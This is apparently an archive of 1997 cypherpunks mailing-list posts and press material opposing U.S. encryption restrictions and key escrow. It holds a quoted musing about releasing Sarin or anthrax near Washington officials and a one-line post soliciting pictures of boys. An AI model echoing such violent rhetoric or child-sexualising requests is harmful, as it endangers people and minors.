proposal was expected to be adopted easily by the House Commerce Committee.
 But the opposition of the influential Baby Bells stopped the process and
the committee decided to put off an earlier vote until Wednesday.
   In a recent revision, Oxley agreed to remove provisions which required
network service providers such as the phone companies to provide immediate
access to coded communications.
   Lawyers for the phone companies met Tuesday but did not reach a decision
 on the changes, according to Bell South spokesman Bill McCloskey. "The
meeting ended inconclusively," McCloskey said. "We have no verdict."
   Oxley's office remained confident that changes could be made to mollify
the phone companies. "We will get them onboard, there's no doubt," one
staffer said.
   While lawmakers worked to assuage the concerns of the Baby Bells, and
added a provision to appease the banking industry, leading science groups
and law professors separately issued new statements on Tuesday completely
opposing the Oxley restrictions.
   Professors from 23 law schools, including Yale, Harvard and Stanford,
said the restrictions were a "profound mistake" that would "contravene
fundamental principles of our constitutional tradition."
   Leading science, mathematics and engineering groups said the
restrictions were impeding on the advance of cryptography research thus
making all computer networks, including the Internet, less secure.
   The Oxley proposal will be considered as an amendment to a bill by
Virginia Republican Rep. Bob Goodlatte that began as an effort to loosen
strict U.S. export controls on encrypotion products and preclude domestic
restrictions.
   Rep. Rick White, Republican of Washington, said Tuesday he would offer
an alternative to Oxley's amendment that would meet many of the objections
of industry, Internet groups and others. But White's proposal was not
endorsed by leading law enforcement agencies that back Oxley's plan.
   White's plan would establish a center to help law enforcement agencies
crack encryption used by criminals, start a study of technologies to allow
government access and increase criminal penalties for use of encryption as
part of a crime.
   While two House committees have approved the Goodlatte bill intact, two
other panels added tighter export controls and domestic restrictions.
   After the Commerce Committee's vote, the bill goes to the House Rules
Committee which must reconcile the competitng versions. No action is
expected on the bill by the full House this year.
   ((--202-898-8312))
Tuesday, 23 September 1997 19:47:13
RTRS [nN2351141]

---

PRESS RELEASE

SEPTEMBER 24, 1997


LEADING US SCIENTIFIC, MATHEMATICS, AND ENGINEERING
SOCIETIES PROTEST RESTRICTIONS ON CRYPTOGRAPHY
RESEARCH AND DEVELOPMENT

The leading U.S. scientific, mathematics, and engineering societies sent a
united message to Congress today protesting proposed U.S. cryptography
policies that would maintain export restrictions limiting the open exchange
of scientific information and the progress of scientific research and
development.  In addition, these organizations warned that new requirements
for domestic key recovery raise serious scientific and technical problems
that undermine its viability as a policy alternative.  In a letter to the
House Commerce Committee, the societies indicated that the policies will
"diminish the scientific reputation of the United States and weaken us
economically."

This is the first time these highly influential societies have united to
inform Congress how cryptography policies will effect the future of
scientific research and development in the U. S.  Until now,  the debate
has focused on commercial, civil liberties, and national security/ law
enforcement interests.

The House Commerce Committee will vote today on proposed legislation
removing restrictions on the export of encryption products.  However,
amendments to this language were passed by two House Committees restricting
the domestic use of encryption.  The letter urges the Committee to reject
such proposals or " U.S. leadership in many areas of  science and
technology is likely to be jeopardized with no discernible benefits to our
National Interests."

Export controls and domestic restrictions on cryptography development and
use impact scientific freedoms in a number of ways. Cryptographers, a
specialized subset of computer scientists, mathematicians, and engineers,
are unable to communicateare unable to communicate with their colleagues
overseas or to participate in international projects aimed at developing a
secure GII.   The full and open exchange of scientific information
facilitated by these organizations has significantly increased the economic
strength of the United States. However the proposed new laws would continue
to force them to exclude members living outside the United States from this
free exchange.

According to Dr. Barbara Simons, " The scientific and engineering societies
today speak with one voice in urging Congress not to enact cryptography
policies which will prohibit scientists from performing important research.
If scientists cannot research and develop new cryptographic tools, the
future of electronic commerce may be in jeopardy."



CONTACTS:

Dr. Barbara Simons
Chair
U.S. Public Policy Committee for the Association for Computing
phone:  408:256-3661
pager:  1-888-329-3091
pager id:       2533409
e-mail  simons@VNET.IBM.COM

Dr. Peter Neumann
U.S. Public Policy Committee for the Association for Computing
email:  neumann@csl.sri.com

Ed Lazowska
Chair, Computer Science
University of Washington
e-mail: lazowska@cs.washington.edu
phone:  206 543 4755

David L. Waltz
President,
American Association for Artificial Intelligence (AAAI)
e-mail: waltz@research.nj.nec.com
phone:  609-951-2700
fax:    609-951-2483

Irving Lerch
Co-Chair, Committee on Scientific Freedom and Responsibility
American Association for the Advancement of Science
phone:  301 209 3236

Mary Gray
Co-Chair, Scientific Freedom and Responsibility
American Association for the Advancement of Science
phone:  202 885 3171

Staff:  Lauren Gelman 202/544-4859      gelman@acm.org
        Alex Fowler 202/ 326-7016       afowler@aaas.org

September 24, 1997

Dear Chairman Bliley:

As representatives of the leading scientific, mathematics, and
engineering societies in the United States, we are writing to protest
current and proposed U.S. cryptography policies that restrict the open
exchange of scientific information and the progress of scientific research
and development.  We object to national policies that criminalize
the use of cryptography that is not approved by the Administration or
that mandate domestic key recovery schemes.

The leadership that the United States currently enjoys in research and
development of encryption algorithms, cryptographic products, and computer
security technology will be seriously eroded, if not essentially eliminated,
by misguided proposals to restrict the domestic use of encryption.

  o The development of strong cryptographic technology is crucial to the
    further growth of our electronic infrastructure.  Encryption protects
    the security and privacy of communications and stored data.
    A lack of strong universally available encryption exacerbates security
    problems on personal computers, intranets, and the world-wide Internet.
    A recent National Academy of Sciences study warned against the
    government's premature reliance on key recovery as an encryption
    technique.  It urged that the method be deployed in test situations first
    to work out problems.  This has not been done.

  o Our organizations publish numerous scientific journals and conference
    proceedings, often relying on the Internet for publication.  The free
    exchange of scientific information facilitated by our organizations
    has significantly increased the economic strength of the United States.
    But the proposed new laws would continue to force us to exclude members
    living outside the United States from this free exchange.  The result would
    diminish the scientific reputation of the United States and weaken us
    economically.

  o It is unreasonable and probably unconstitutional to distinguish between
    printed and electronic distribution of encryption source code.  U.S. policy
    should not create an artificial distinction between paper and electronic
    versions of a document.

  o U.S. scientists and engineers involved with research and development of
    cryptographic tools cannot publish their results using electronic media,
    are restricted in their efforts to educate the next generation of computer
    scientists, and cannot communicate with their international colleagues.
    For example, the U.S. cryptography community has not been able to
    participate in the Internet Protocol Security project, an effort to
    develop new international standards for Internet security.

  o Publication restrictions relating to cryptography have a negative
    impact on peer review and the development of robust algorithms.  To
    demonstrate that encryption algorithms are secure, cryptographers
    publish their algorithms and other cryptographers try to break them.
    Not only does this process tend to identify faulty algorithms, but it is
    also a precondition for the public to have confidence that the algorithm
    is secure.

  o Computer systems currently are plagued by considerable security
    and privacy weaknesses. These problems will become more widespread
    as electronic commerce develops and computer systems become ubiquitous.
    Cryptographers in the U.S. face numerous barriers when addressing
    computer security issues, and some security researchers may be unwilling
    to continue their work because they will be restricted in publishing and
    discussing their research.

In conclusion, we urge you to eliminate current policies that stifle the
ability of researchers and implementers to study and build cryptographic
algorithms, secure information systems, and secure network protocols.
Otherwise, U.S. leadership in many areas of science and technology is
likely to be jeopardized with no discernible benefits to our National
Interests.

For more information please contact Barbara Simons at 408/256-3661,
Alex Fowler at 202/326-7016 or Lauren Gelman at 202/544-4859.

Sincerely,

------------


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 24 Sep 1997 14:08:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Biological Warfare
In-Reply-To: <199709172143.RAA12527@www.video-collage.com>
Message-ID: <19970923225902.44700@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Sep 17, 1997 at 03:47:47PM -0700, Tim May wrote:
[...]
> 
> While I support your general goals, the idea of releasing Sarin or anthrax
> or other agents near the warrens of the burrowcrats in Washington is likely
> to backfire. Although the rodent extermination might succeed, the rodents
> have a prodigious ability to breed more of themselves. It's not clear that
> calling in the Orkin man to rid the infestation in the Congress will
> accomplish anything.

As I am sure Tim is intelligent enough to realize, this argument also
applies to the "suitcase" option, and all the other fantasies of
righteous violence that float through this list. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Igor Chudov <ichudov@galaxy.galstar.com>
Date: Wed, 24 Sep 1997 13:10:09 +0800
To: cypherpunks@Algebra.COM
Subject: test
Message-ID: <199709240501.AAA09453@galaxy.galstar.com>
MIME-Version: 1.0
Content-Type: text/plain



test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0117.myriad.ml.org (Matthew Ghio)
Date: Wed, 24 Sep 1997 15:23:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: (none)
In-Reply-To: <6+catTayfJitur97o0GUEQ==@bureau42.ml.org>
Message-ID: <199709240651.CAA10884@myriad>
MIME-Version: 1.0
Content-Type: text/plain



This spammer was pissed off at ml.org because they cancelled his account,
so he mailbombed a bunch of people via enterprise.net, an ISP which caters
to spammers.

I drop everything with an X-UIDL or X-PMFLAGS header in it.  I don't know
why, but spammers often flag their junkmail as such by putting one of
these lines in it.  It sure makes it easy to delete the spam...


bureau42 Anonymous Remailer <remailer@bureau42.ml.org> wrote:

> 
> Subject: A cypherpunks challenge.
> 
> Received: from 158.43.192.4 (actually max01-056.enterprise.net) by
> bath.mail.pipex.net with SMTP (PP); Sat, 20 Sep 1997 15:40:32 +0100
> Received: from gateway1.ml.org by mail.ml.org (8.8.5/8.6.5) with SMTP id
> GAA02326 for <visit-our-xxx@ml.org>; Sat, 20 Sep 1997 14:36:08 -0600 (EST)
> Date: Sat, 20 Sep 97 14:36:08 EST
> From: hucka@eecs.umich.edu
> To: visit-our-xxx@ml.org
> Subject: Shut up.
> Message-Id: <964dffe172ca4d>
> Reply-To: postmaster@concentric.net
> X-Pmflags: cum-see-me
> X-Uidl: 9275163132023367354272390
> Comments: Authenticated sender is <root@ml.org>
> 
> Shut up.
> 
> Do not complain. It's useless.
> 
> Just shut up you ignorant fools. The great Semyon Varshavchik has spoken.
> 
> ml.org will *never* shut me down.
> 
> mrsam@concentric.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Wed, 24 Sep 1997 12:53:21 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <6+catTayfJitur97o0GUEQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Subject: A cypherpunks challenge.

Received: from 158.43.192.4 (actually max01-056.enterprise.net) by bath.mail.pipex.net with SMTP (PP); Sat, 20 Sep 1997 15:40:32 +0100
Received: from gateway1.ml.org by mail.ml.org (8.8.5/8.6.5) with SMTP id GAA02326 for <visit-our-xxx@ml.org>; Sat, 20 Sep 1997 14:36:08 -0600 (EST)
Date: Sat, 20 Sep 97 14:36:08 EST
From: hucka@eecs.umich.edu
To: visit-our-xxx@ml.org
Subject: Shut up.
Message-Id: <964dffe172ca4d>
Reply-To: postmaster@concentric.net
X-Pmflags: cum-see-me
X-Uidl: 9275163132023367354272390
Comments: Authenticated sender is <root@ml.org>

Shut up.

Do not complain. It's useless.

Just shut up you ignorant fools. The great Semyon Varshavchik has spoken.

ml.org will *never* shut me down.

mrsam@concentric.net







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Wed, 24 Sep 1997 15:30:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The great GAK crack (making GAK economically impossible) (fwd)
Message-ID: <3428b7ef.7697050@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



 I believe that any denial-of-service attack will simply drive up the costs
of licensing encryption programs and keys to the point that only
corporations will be able to afford to release encryption products and
purchase keys (in bulk).  Remember, we have to pay them for the privelidge
(not right) of communicating "securely".

PS.  By licensing, I mean whatever process you'll have to go through to get
your crypto product approved for use domestically; much like what was tried
with the rating of video games.

Also, I haven't see much talk lately on how GAK will totally destroy
anonymity (not to mention the ability of any TLA to destroy your identity
simply by revoking your public keys).  Once GAK is approved, expect to see
encryption/signing pop up everywhere.  And since every key must be
registered and key sharing/trading/selling will be illegal ("Today, 7
hackers were busted in the internet's largest Key Laundering operation to
date.  Film at 11."), every single encrypted/signed communication can not
only be decrypted, but also traced back to you (Remailers are not secure in
a GAK world).  GAK is a big step toward an Internet Driver's License.

The FBI doesn't want to read encrypted documents; they want to read YOUR
encrypted documents.

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Wed, 24 Sep 1997 15:31:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The problem of playing politics with our constitutional     rights
Message-ID: <342abc87.8873306@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 23 Sep 1997 09:58:20 -0500, Jonathan Wienke <JonWienk@ix.netcom.com>
wrote:

>At 11:28 AM 9/22/97 GMT, phelix@vallnet.com wrote:
>>remailers handle the increased load?  Are there enough remailers?
>>People will not tolerate more than a 24 hour delay for getting their
>>messages delivers.  What about spamming?  
>>
>>Another Question:  Since such a plugin uses (has the hooks for) encryption,
>>would it be covered by ITAR?  (i'm asking because I'm seriously considering
>>making the eudora plugin)
>
>The Eudora plugin should support remailer chaining and PGP encryption for
>personal messages, as well as give the user the opportunity to BE a
>remailing service.

Would people want to use eudora (their main email program) as a remailer,
and have to wait for it to process all those messages each time they read
their mail?  Is there a demand for users with dial-up accounts to be
remailers?

(I'm not being critical, I'm just asking.  I never thought about using
eudora as a remailer server)

>>Anyway, the remailer 'network' needs to be strengthened.  Right now,
>>Raph's pinging service (or whatever private idaho uses) is the only way
>>private idaho can tell which servers are up.  Attack this point, and
>>reliability when chaining remailers becomes uncertain.    Imagine a TLA
>>co-opting this service and altering the list to favor government friendly
>>remailers.
>>
>>It also needs to be easier to set up a remailer.  I'd like to see the
>>software distributed in .deb and .rpm packages for Linux.  Once set up, the
>>remailer could automatically announce itself to the world (perhaps via a
>>newsgroup post).  The various listing services would pick up on this.  The
>>more automated it is, the better.
>
>How about posting availability notices alt.remailer-availability.announce
>(create it if necessary) or alt.anonymous.messages?

Yes, I was thinking along these lines, though right now I'm concentrating
on the client end of things.

>
>>>I am sure that people can think of all sorts of other ideas for needed
>>>apps.  But to make them usable for the "general public", the apps will be
>>>needed to be written for Windows.  (As much as I hate to think about it...)
>>
>>Private idaho needs to be rewritten (in Java possibly) to be simpler to
>>operate.  There should be one button to press to send a message without
>>messing with what type and which remailers to use; the program could choose
>>these things randomly (ok, it's not the best thing to do, but at least it's
>>easy to use).  It also should be updated to use pgp 5.0 (not exclusively,
>>of course).  If possible, also add support for the Eternity Service.
>

>The remailer plugin should be able to:
>1. Scan all available sources of remailer availability / reliability.
>2. Allow the user to select a pool of trusted remailers.
>3. Allow the user to select the number of remailers in the chain.
>4. Randomly select remailers from the pool.
>5. Encrypt / add headers to the outgoing message to match the selected
>remailers.

Good Idea.  Are people comfortable with not choosing the exact order of the
remailers used?

>
>>Stenography Plugin for mail/news readers.  It's our one (and possibly only)
>>defense against GAK.  You can't decrypt what you can't see.  (watch for
>>Stenography to be classified as encryption and be similarly restricted.)
>

>Look for AOL and other ISP's to automatically run a "noise reduction"
>filter (as in CoolEdit 96) on .wav / .jpg files if GAK becomes mandatory.
>CoolEdit's noise reduction filter is great for removing tape hiss and other
>constant background noise from sound files, (it can make a cheap tape deck
>sound like a cheap CD player) but it would obviously destroy any stegoed
>data. The noise reduction algorithm is very processor intensive--it takes
>my 586/133 about an hour to NR a 3 minute stereo 44 KHz recording, but I'm
>sure you could set up a "light" version of the filter that would destroy
>stego data without taking as long.
>

And how does one tell the difference between a JPEG image and a executable
program after they're uuencoded (assuming one does not follow MIME
conventions)?  Will we be required by law to identify, in clear plaintext,
the nature and contents of all our messages?

One more  thing:  I can't seem to find any reference to an API for pgp 5.0.
Anyone have any pointers?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 24 Sep 1997 21:08:06 +0800
To: cypherpunks@cyberpass.net
Subject: NewSpeak: TIS RecoverKey
Message-ID: <v03110718b04eb54c9456@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


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X-Sender: rah@pop.sneaker.net
Mime-Version: 1.0
Date: Tue, 23 Sep 1997 21:20:35 -0400
To: espam@intertrader.com
From: Robert Hettinga <rah@shipwright.com>
Subject: NewSpeak: TIS RecoverKey
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From: rah-web <rah@shipwright.com>
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MIME-Version: 1.0
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Subject: NewSpeak: TIS RecoverKey

http://www.prnewswire.com:80/cgi-bin/stories.pl?ACCT=104&STORY=/www/s
tory/9-23-9
 7/322338&EDATE=

 Content-Type: text/plain; charset=us-ascii; name="322338&EDATE="
 Content-Disposition: inline; filename="322338&EDATE="
 X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com i d
 VAA21516

                                 [Todays News]

 Frontier Technologies and TIS Announce Strategic Alliance to Deliver
 RecoverKey-enabled e-Lock

    Partnership Brings Together Strong Cryptography and User-Controlled Ke y
                                    Recovery

     MEQUON, Wis., Sept. 23 /PRNewswire/ -- Frontier Technologies and Trus ted
 Information Systems, Inc. (Nasdaq: TISX), today announced a strategic all
iance
 to integrate Frontier Technologies' e-Lock(TM) security family with TIS'
 RecoverKey(TM) Cryptographic Service Provider (CSP), offering customers a n
 easy-to-use solution for managing strong encryption across Windows(R) 95  and
 Windows NT(R) applications.  This alliance increases opportunities for
 implementing and managing strong encryption worldwide while putting users  in
 control of their own data and privacy.
     The e-Lock products will work seamlessly across the Internet, intrane ts
 and extranets with the RecoverKey CSP so that users can employ the strong est
 levels of cryptography with the means to prevent "locked and lost" data.
 Customers using e-Lock with RecoverKey simply click a button to secure
 documents and/or to recover data that would otherwise be lost due to a
 forgotten password or lost key.
     "RecoverKey gives users the opportunity to enact data saving measures  up
 front when employing the e-Lock solution," said Dr. Prakash Ambegaonkar,
 Frontier Technologies' Chairman & CEO.  "Frontier's expertise coupled wit h
 TIS' innovative technology gives users the strongest levels of assurance  that
 their valuable information is locked up tight while providing an emergenc y
 mechanism for unlocking it if the key becomes lost or destroyed."
     "TIS is pleased to join forces with Frontier Technologies in their
 commitment to meet market demand for applications that support user contr
olled
 key recovery," commented Homayoon Tajalli, TIS Executive Vice President a nd
 General Manager, Cryptographic Products.  "Global e-commerce and communic
ation
 depends on impenetrable transmission and storage of valuable information.
 e-Lock can now bring customers the benefit of robust encryption with a ba ckup
 plan in place for recovering locked data if the original key is inaccessi
ble."
     Frontier Technologies' e-Lock security family is a complete,
 standards-based solution for creating, using and managing secure applicat ions
 for intranets and the Internet in both Windows(R) 95 and Windows NT(R)
 environments.  The e-Lock family of products, e-Sign, Secure Messaging
 Toolkit, and e-Lock PKI support digital signatures, encryption and public  key
 infrastructure.
     Trusted Information Systems' RecoverKey CSP is the first software of  its
 kind to reach a worldwide commercial market, enabling Windows 95 and Wind ows
 NT desktop users to implement powerful cryptography at the click of a but ton.
 Incorporating popular algorithms such as RSA, DES, Triple DES and 128-bit
 RC2/RC4, the RecoverKey CSP will provide the components necessary to encr ypt
 and decrypt information seamlessly across applications.
     RecoverKey CSP trial versions are currently shipping and the RecoverK ey
 CSP-enabled e-Lock product will be available in late fall.  Visit the Fro
ntier
  Technologies website at http://www.frontiertech.com for free download of  the
 e-Lock products.
     Frontier Technologies' mission is to pioneer Internet and Intranet
 applications that make individuals more productive and businesses more
 competitive in a global market.
     Trusted Information Systems, Inc., is a leading provider of comprehen sive
 security solutions for protection of computer networks, including global
 Internet-based systems, internal networks, and individual workstations an d
 laptops.
     RecoverKey is a trademark of Trusted Information Systems, Inc.  e-Loc k,
 e-Cert, e-Sign, e-Mail are trademarks of Frontier Technologies Corporatio n.
 All other product and company names may be trademarks of their respective
 owners.

 SOURCE  Frontier Technologies

 CONTACT: Ann M. Krauss, 520-797-0583, 520-797-0182 (fax),
 Ann@Frontiertech.com or Nicole E. Rogers, 414-241-4555 x293,
 414-241-7084 (fax), NicoleR@Frontiertech.com, both of Frontier
 Technologies, or Shoshana Rosenthal of Trusted Information
 Systems, 301-947-7194, shoshana@tis.com

 ------------------------------------------------------------------------- ---

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e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 24 Sep 1997 23:39:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <v03007803b04dd0d3f10b@[204.254.22.189]>
Message-ID: <97Sep24.112449edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 23 Sep 1997, Declan McCullagh wrote:

> 
> At 14:02 -0400 9/23/97, nospam-seesignature@ceddec.com wrote:
> >> Which law, specifically, would gossiping with (or about) your neighbors
> >> violate?
> >
> >Slander.
> >
> >Were I to maliciously spread a rumor, and you got fired, or suffered
> >economic loss because of my gossip, you could sue me.
> 
> Not quite. Truth is an absolute defense against slander and libel. If the
> gossip is true, which was my hypothetical, what's the cause of action?

Truth was not mentioned specifically.  Gossip is rarely true after the
first few iterations.  You are correct that if the gossip can be proven
true that the position is defensible (but I would have to check some legal
references if it is absolute).

> >I can be damaged by information - which may be either wrong or out of
> >context.  Should I have no right to recover or correct such things?  If no\
> 
> No, you should have no right to "recover" what I know about you. This is a
> common beginner's misunderstanding. What you seem to be arguing for is
> property rights in information. But that is misguided. To grant you such a
> right would be to let you muzzle others who say truthful things, violating
> their free speech rights.

Technically, I am arguing for property rights in reputation.  Patent and
copyright are already recognized property rights in information.

As far as recovering information, I may have no right, but if I contract
with my doctor or lawyer, he has a duty to protect my records.  Perhaps I
could not sue you, but I could sue the people who released the information
to you, and those who had a duty to protect those records.

The "raw" FBI files Livingstone got are an example - they contain lots of
unverified rumor and gossip and could be used to damage the people they
are about.  Did Livingstone do anything wrong, and would there be a
problem posting such information on the internet?

How about personal information such as credit card or social security
numbers or even tax records - you are saying if I can get them, I should
be able to publish them. 

And who determines "truthful"?  This gets back into the ratings scheme.
Movie critics would be in trouble if you leave this caveat in.

> That is why many "privacy laws" are censorship in disguise.

Then on the same basis, are copyright laws.  If I can get a copy of MS
Office, should I be able to publish that?  Copyright does not directly
prevent me from obtaining the information, but it does prevent others from
publishing the information without my permission.  Even cracking a copy
protection scheme does not entitle me to publish the now unprotected
information freely.

I would simply argue that some personal information is functionally
copyrighted by that person without going through the formality (if I
remember right the Berne convention says something is still protected even
if no formal steps have been taken).  Some personal information can be
made public domain - who I appear in public with, what I wear in public,
what I post here, etc. but lots cannot be obtained without commiting some
form of trespass or theft.  You are effectively saying that if you get
something that was stolen, you still should be able to own it (and if you
publish it, have a copyright and own that same information).

If you are arguing that there should be no legal protection for
information of any sort (including patent or copyright) I think you have a
point.  We then would have an equal opportunity for information piracy. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 25 Sep 1997 05:11:42 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell Letter
In-Reply-To: <1.5.4.32.19970922112723.00823294@pop.pipeline.com>
Message-ID: <Pine.LNX.3.91.970923110724.359A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> We offer a recent letter from Jim Bell that describes
> prison and his prospects:

I gather that Jim has been sentenced recently during my absence from the 
list, can you tell me what charges he was convicted on and how long he 
was sentenced to? 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Christian Claborne <Claborne@CYBERTHOUGHT.com>
Date: Thu, 25 Sep 1997 02:10:58 +0800
To: cypherpunks-announce@toad.com
Subject: REminder: Physical meet this Wednesday
Message-ID: <3.0.2.32.19970923192523.00b638e0@cyberthought.com>
MIME-Version: 1.0
Content-Type: text/plain



The last message had Thursday in the subject... It's Wednesday.

     2
 -- C  --
-----BEGIN PGP SIGNED MESSAGE-----


This Wednesday!!!

   San Diego Area CPUNKS symposium  Wednesday, Sep. 24, 1997.

   Topic:
	What action do we take if the situation get's out of hand (See message below 
from Mark H. below).


   It is my belief that any group, no matter how small, can accomplish great 
things if they apply themselves.  Cypherpunks are not just "users", they 
poses  several additional quanta of the stuff that enables creative thought, 
and skill.  

   Don't forget to bring your public key  fingerprint.  If you can figure out
how to get it on the back of a business card, that would be cool.  If you 
want
the suspicious crowd there to sign your key, bring two forms of ID.

   
Place: The Mission Cafe & Coffee Shop
       3795 Mission Bl in Mission Beach.
       488-9060


Time:1800

Their Directions:
	8 west to Mission Beach Ingram Exit
	Take west mission bay drive
	Go right on Mission Blvd.

	On the corner of San Jose and mission blvd.
	It is located between roller coaster and garnett.
	It's kind of 40s looking building...  funky looking 
        (their description, not mine)

They serve stuff to eat, coffee stuff, and beer + wine stuff.

See you there!

New guy, bring your fingerprint.

Drop me a note if you plan to attend... 


      2
  -- C  --


- ------------------------
Date: Fri, 12 Sep 1997 16:04:22 -0700 (PDT)
From: Mark Hedges <hedges@infonex.com>
To: all-at-infonex@infonex.com
Subject: federal cryptography legislation
Sender: owner-all-at-infonex@infonex.com

- -----BEGIN PGP SIGNED MESSAGE-----

A bill called "SAFE" (HR-695, "Security and Freedom with Encryption") in
the U.S. House of Representatives would have allowed U.S. software
companies to export strong cryptography, and would have promoted privacy
in all U.S. communications. Cryptography is mathematical means of making a
message secret. Now, this bill has been rewritten to introduce more
restrictive cryptography legislation than ever before seen in the U.S.

Public support for cryptography use and export is very strong, as
evidenced by the California state legislature's unanimous vote 9/5/97,
calling on Congress and the President to revise and relax export laws
(SJR-29). Companies world-wide already produce strong cryptograpy
software, and U.S. buisness is rapidly losing ground in the world-wide
software and telecommunications market. 

The House National Security Committee this week voted to continue export
restrictions in the SAFE bill and to install "key escrow" proposals of the
defense and intelligence organizations. This would not only continue the
status quo legislation, it would strictly regulate and restrict domestic
use of cryptography, an unprecedented act. 

Key escrow legislation in SAFE would mandate government "back doors" in
all communications software before the end of the millennia in the United
States, imposing criminal penalties for use of secure cryptography.
Effectively, every citizen would be required to give law enforcement
involuntary and transparent access to all communications, including
financial, business, and personal messages. 

Key escrow also exposes all U.S. communication to a single point of
failure, which a hacker, spy, or corrupt official could exploit to gain
access to all personal, industry, and financial information. 

More information is available in our most recent press release. Press
releases can be viewed at http://www.anonymizer.com/press/. 

Please, call your congressional representatives and senators and encourage
them to oppose restrictive legislation on cryptography and mandated
government access to all communications. Names and phone numbers for your
local legislators can be obtained from www.house.gov and www.senate.gov. 

Sincerely,

Mark Hedges
Anonymizer Inc.
Infonex Internet Inc.

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- -----END PGP SIGNATURE-----

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vrQuQZ0EeGIOycwS7IuNLFFyx+C1E7HxcdX0UR3qMDgEiiFb09DlcuDHeSp52RZW
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-----END PGP SIGNATURE-----

                              ...  __o
                             ..   -\<,
Claborne@CYBERTHOUGHT.com    ...(*)/(*)._ Providing thoughts on 
					  your computing needs.
http://www.CYBERTHOUGHT.com/cyberthought/
PGP Pub Key fingerprint =  7E BF 38 3F 24 A7 D1 B0  54 44 96 AA 10 D0 5D 51
Avail on Pub Key server.  PGP-encrypted e-mail welcome!
Dreams.  They are just a "screen saver" for the brain.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: A Player To Be Named Later <aptbnl@dev.null>
Date: Thu, 25 Sep 1997 02:03:59 +0800
To: cypherpunks@toad.com
Subject: Movie Suitcases
Message-ID: <3428915B.7611@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Anyone notice that there is a nuclear suitcase movie being released 
within a couple of weeks of the NSA shill Russian general's book
about the same?
So, does everybody now have it firm in their mind that this is a real
threat that we will need to take firm action on the minute that Freeh
& Company announce the nuclear suitcase crisis?

Mail the last of your civil and human rights to your Congressman today.
Tell him or her to forward them to President Freeh before leaving for
the internment camps.

A Player To Be Named Later






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Boat1688@aol.com
Date: Thu, 25 Sep 1997 01:57:27 +0800
To: cypherpunks@toad.com
Subject: NAMBLA
Message-ID: <970923211837_-994610816@emout02.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



How do I get some of these pics of boys in swimsuits?  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 25 Sep 1997 02:09:05 +0800
To: cypherpunks@toad.com
Subject: NewSpeak: TIS RecoverKey
Message-ID: <v03110713b04e36a8ab1a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


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X-Sender: rah@pop.sneaker.net
Mime-Version: 1.0
Date: Tue, 23 Sep 1997 21:20:35 -0400
To: espam@intertrader.com
From: Robert Hettinga <rah@shipwright.com>
Subject: NewSpeak: TIS RecoverKey
X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com id
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Sender: owner-espam@lists.espace.net
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From: rah-web <rah@shipwright.com>
Reply-To: rah@shipwright.com
MIME-Version: 1.0
To: Robert Hettinga <rah@shipwright.com>
Subject: NewSpeak: TIS RecoverKey

http://www.prnewswire.com:80/cgi-bin/stories.pl?ACCT=104&STORY=/www/s
tory/9-23-9
 7/322338&EDATE=

 Content-Type: text/plain; charset=us-ascii; name="322338&EDATE="
 Content-Disposition: inline; filename="322338&EDATE="
 X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com i d
 VAA21516

                                 [Todays News]

 Frontier Technologies and TIS Announce Strategic Alliance to Deliver
 RecoverKey-enabled e-Lock

